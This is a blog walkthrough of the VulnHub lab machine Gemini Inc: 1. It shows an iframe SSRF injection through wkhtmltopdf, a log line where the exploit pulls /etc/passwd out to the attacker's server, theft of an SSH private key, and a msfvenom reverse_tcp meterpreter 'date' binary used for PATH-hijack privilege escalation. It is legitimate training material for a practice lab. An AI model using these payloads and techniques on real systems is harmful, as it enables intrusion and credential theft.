Write-up for Gemini Inc: 1

Write-up for Gemini Inc: 1

by Wen Bin Kong

This is a write-up on the Gemini Inc: 1, a VulnHub machine designed to be vulnerable. This write-up aims to guide readers through the steps to identifying vulnerable services running on the server and ways of exploiting them to gain unauthorised privileged access to the server.

Disclaimer: this write-up is meant for security enthusiast to set up and hacks the machine locally, in a safe environment while still having fun and get to practice. VulnHub provides users with many vulnerable machines for practice, similar to the ones in the OSCP course lab (read about my OSCP journey).

Word of Advice

As always, my advice for you is that you dirty your hands with the setup and try to hack the machines first before reading through my write-up, that way, you will be able to maximise your learning and be able to enhance your thought process towards hacking and compromising a vulnerable machine.

Setting Up

  1. Download the Virtual Machine (VM) from VulnHub (link)
  2. Start the VM and select “I copied it” and it should start smoothly. Note that the machine was preconfigured to obtain an IP address automatically using DHCP so that is no additional configuration required.
  3. Please note that for this write-up, I have explicitly switched my “Network Adaptor” options to “NAT”. You may choose to also do so or remain with the default settings (Bridge), it should not differ much in terms of the steps in the write-up.

Host discovery

Use netdiscover to identify the hosts in my network:

As shown in the screenshot, it was pretty straight-forward that my target machine is located at the IP address of

Service discovery

Use nmap to identify the list of services running on the target machine:

As shown, only port 22 and 80 were identified to be running.

Now, use the nmap scripts to perform further information gathering:

The following information was obtained:

From the information, it was already possible to determine that very likely, port 80 is the entry point to compromising the machine. But as security folks, we do not assume. Now, let’s move on to see if we can compromise the machine.

Enumeration on port 80

Let’s look at port 80 and check out the page identified by nmap previously, located at :

If you have read my other write-up (e.g. Write-up for Stapler or Kioptrix), you should know by now that I always read the page source. It is not only useful when playing Capture-the-flag (CTF) kind of games like this, but also in real life. 

Anyway, check out the page source and you will see that the application was built on the Master Login System.

After going to the project page and analysing the source code, one interesting discovery over there waiting to be found is that a default administrator account that will be created upon setting up the application. This was mentioned in the [web_root]/install.php file, as shown below:

The source code was nice enough to even share the default administrator account without you going through too much trouble! So, let’s try out the account credentials:

And it works!

Seems like we have discovered 2 new functions:

  1. Edit Profile
  2. Export Profile

After trying out the functions, it was discovered that the export profile function will print the profile.phppage into a PDF.

Using a HTTP proxy server such as Burp Suite, it was possible to analyse the HTTP response of the PDF document and identify interesting information.

As shown above, among the metadata of the generated PDF document, it can be identified that the PDF document was generated using wkhtmltopdf v0.12.4


Based on their website, wkhtmltopdf and wkhtmltoimage are open source (LGPLv3) command line tools to render HTML into PDF and various image formats using the Qt WebKit rendering engine. These run entirely “headless” and do not require a display or display service. 

Publicly Known SSRF Vulnerability

If you searched hard enough, you could have identified an SSRF vulnerability affecting the identified version of wkhtmltopdf v0.12.4 (link):

Based on the available fields in the form that is controllable by the user, it is trivial to derive that the vulnerable parameter should be the display name (display_name) in the user.php file.

Verify the SSRF vulnerability using the Source Code

The beauty of reviewing a vulnerability on an open source application is that you can immediately dive into the source code and perform a static code review on the user.php file:

$email = $_POST['email'];
$display_name = $_POST['display_name'];
if(!isset($page->error) && $db->query("UPDATE `".MLS_PREFIX."users` SET `email` = ?s, `display_name` = ?s ?p WHERE `userid` = ?i", $email, $display_name, $extra, $u->userid))

As shown, it was easy to see that the code does not have any validation on parameter such as the “display_name”, which makes it not only vulnerable to the issue of Server-Side Request Forgery (SSRF) but also other vulnerabilities such as Cross-Site Scripting (XSS) and HTML Injection because any input will be reflected on profile.php and export.php.

Reproduce the SSRF vulnerability on the application

The unchecked input component of the vulnerability mentioned above can be verified by injecting a simple HTML code in the “display_name” parameter and see if it gets reflected:

And yes, it works!

To verify if it is possible to connect to other machines to perform requests, simply set up a simple TCP listener on your local machine and attempt to connect to it:

Now, insert the following payload to the “display_name” parameter to establish a connection back to the above machine which has a TCP listener running on port 13337.

Please be reminded to replace the IP address with your own machine’s IP address.

Now, render the export.php page and observe the connection request from the target server – a connection from our target server was received!

Look at the user-agent! 

Now it is possible to further confirm that the target server is indeed using a vulnerable instance of wkhtmltopdf and it should be vulnerable to the identified SSRF vulnerability.

For folks who are new to the SSRF vulnerability category, it might take a while for you to understand the gist of it. Take your time. Also, I read this very well-written article prior to exploiting this vulnerability, it might be worthwhile to check it out too.

From SSRF to Local File Read

The most crucial information describing the steps to reproduce this SSRF vulnerability was mentioned on the GitHub issue page itself:

"… if wkhtmltoimage convert a http status code 302 url,it may redirect …"

To exploit this SSRF vulnerability, we need to make the application connect to a page that would perform a redirect with status 302 to read local file.

The specific page is none other than one which we can control it by ourselves, just like how we make the server accessed our web server earlier.

This page that we control – it should perform a 302 redirection to read a local file. It is as simple as that.

The following simple PHP code should be able to cast its magic in this situation:

To make this work, you need to run your own web server. Do take note that you should be running a PHP web server instead of any other languages.

If you are interested in learning more about setting up your own PHP web server, check out the official guide by PHP under example 6 – Accessing the CLI Web Server From Remote Machines.

"Please note that some very common payloads were purposely written in a slightly encoded format to include them in my post, for example, the very commonly used [/]etc[/]passwd was being written as %2fetc%2fpasswd – if it doesn’t work, just play around and if you still cannot figure it out, leave a comment and I will look into it!"

Now that everything is set up, insert the following payload in the “display_name” parameter and export the PDF file again:

<iframe height="2000" width="800" src=></iframe>;

Magic should now appear on your web server:

root@kali:~/Download/ssrf# php -S
PHP 7.0.20-2 Development Server started at Sat Aug 11 13:17:13 2018
Listening on
Document root is /root/Download/ssrf
Press Ctrl-C to quit.
[Sat Aug 11 13:17:27 2018] [302]: /exfiltrate.php?x=%2fetc%2fpasswd

Did you notice the “http status code 302 url”? Yes, we have now managed to reproduce the vulnerability.

Notice that the home directory of the user uid=1000 is located at /home/gemini1 and using /bin/bash.

Let’s check out the content of its bash_history:

Well, that was my initial thoughts, but I was wrong. The content within bash_history can be empty for many reasons.

For example, when the creator of the CTF box decided that he want to purposely make it empty to mislead you. 

Regardless, it was a good learning point for me. In such situations, to check whether you have the permission to access the content in a particular folder, one way is to check whether you can read the bashrc file.

Modify your display name to the following payload:

<iframe height="2000" width="800" src=></iframe>

Now, render the export.php again and you will see the new content:

As evidently shown above, we should now attempt to access the SSH keys and see whether this user stores any SSH keys within their home directory. This was also hinted by the box itself, as our nmapresults has confirmed that only port 22 and 80 were open.

From Local File Read to Gaining Low Privilege Access to the System

To recap how you can create a new SSH key pair, check out this URL by Github

Any newly generated SSH key pairs should be located within the ~/.ssh folder and the private key should be named as id_rsa by default.

In this case, the private key should be located at /home/Gemini1/%2essh/id_rsa

Full payload to insert into the “display_name” to retrieve the private key:

<iframe height="2000" width="800" src=></iframe>

You should know the drill now. Go export the file again to see the retrieved information! 

Now copy and paste the private key to a file and use it to access the system.

Don’t forget to change its permission to 400.

Privilege Escalation using SUID Binaries

Can see that the server is running a very updated 64bit Debian machine, so there should not be any exploits that can directly give us a root. We need to try harder and enumerate!

Checked the services running and found that a DB server is running locally:

Found the password to connect to the database:

After checking through all the tables, there seems to be nothing particularly useful for our quest towards gaining root access.

Yes, I purposely added something related to a rabbit hole to illustrate to you that local services enumeration is not always a bed of roses where you run some tools and it will somehow show you the path to root or NT Authority. You can find juicy things like a password and still not achieving your objectives. 

Continue to enumerate!

After some time spent doing the enumeration, I came across this interesting binary file:

It has the sticky bit permission (chmod 4000), which means that it will always be run as the owner of the file, not the user who started it.

More importantly, it is not a default file that is supposed to be found within a Debian operating system.

More details can be read on the Linux Privilege Escalation Guide, probably all OSCP certification holders’ best friend. 

To exploit this custom binary file to perform privilege escalation, we need to understand what it does. Try running it and see what it does.

Seems like it will run a few commands when you execute it. Now, to gather more information as to how it executes the command, we can make use of the strings command.

Did you notice something that can be exploited?

Yes, the date command. Apparently, the SUID binary will execute the date command as root.

How does the operating system execute the date command when it is being executed?

This is what it does — when you run the date command, it will look into your system $PATH and look for the binary application to execute.

To check your existing path, simply run the following command:

To add your home directory to the first element within the path, run the following command:

And it’s done!

Now simply place a malicious binary in your home directory and then executes the /usr/bin/listinfobinary again.

A malicious binary file can be easily generated using Metasploit. Do replace the LHOST and LPORT with your own local IP address and listener port.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=443 -f elf > date

Next, transfer the generated malicious ‘date’ binary file into the target machine and place it within your user home directory.

Finally, set up a handler to catch the reverse shell.

Now, execute the custom binary and magic should happen accordingly:

Congratulations, you should have received a shell with root privilege. Check out the flag!

It was a fun box to hack. Kudos to the author, @sec_9emin1 – for setting up this interesting machine!

Till I blog again!

About the author

I am a passionate and self-driven security professional. By day, I am a penetration tester; by night, I am a bug hunter. I currently hold the following professional certifications:
- Offensive Security Certified Professional (OSCP)
- CREST Practitioner Security Analyst (CPSA)
- CREST Registered Penetration Tester (CRT Pen)
- Certified Ethical Hacker v9 (CEH)
- CyberSec First Responder (CFR-210)

In my current role as a Senior Security Consultant at Vantage Point Security, I have delivered many security consultation projects for large organisations in the financial, telecommunication and other industries, through providing services such as web application penetration testing, mobile application penetration testing, network penetration testing, source code review, host configuration review and application security training.

During my personal time, I do my own research and self-learning. I am honoured to be publicly recognized by more than 50 organisations on their Security Researchers Hall of Fame, including the following non-exhaustive list:
- Netflix, Nokia, Adobe, Sophos, CERT-EU, Bitdefender, Jet, Indeed, ESET, Deutsche Telekom, ASUS, Trend Micro, Symantec, Pinterest, Oracle, Bosch, Sony, Red Hat, Binance, GO-JEK, IBM, Rockstar Games, McAfee, and many more.

My track record on BBPs:
- Synack Red Team Member (as of Nov 2018)
- Top 200 on Bugcrowd (as of 21 Dec 2018)

I have also been credited with discovering the following CVEs:
- CVE-2017-5528
- CVE-2017-15953
- CVE-2017-15954
- CVE-2017-15955
- CVE-2017-15009
- CVE-2018-1229
- CVE-2018-1230
- CVE-2018-9036

I have graduated from Master in Computing (Infocomm Security) at National University of Singapore (NUS) as an IMDA scholar through the National Cybersecurity Postgraduate Scholarship (NCPS).

I was also acknowledged as a "Top Contributor" in the OWASP Mobile Security Testing Guide (MSTG), a comprehensive manual for mobile application security testing.


Wen Bin's LinkedIn profile: https://www.linkedin.com/in/kongwenbin/

The article was originally posted at: https://kongwenbin.com/write-up-for-gemini-inc-1/#more-1548

April 23, 2019

Leave a Reply


This site uses Akismet to reduce spam. Learn how your comment data is processed.

Notify of

© HAKIN9 MEDIA SP. Z O.O. SP. K. 2013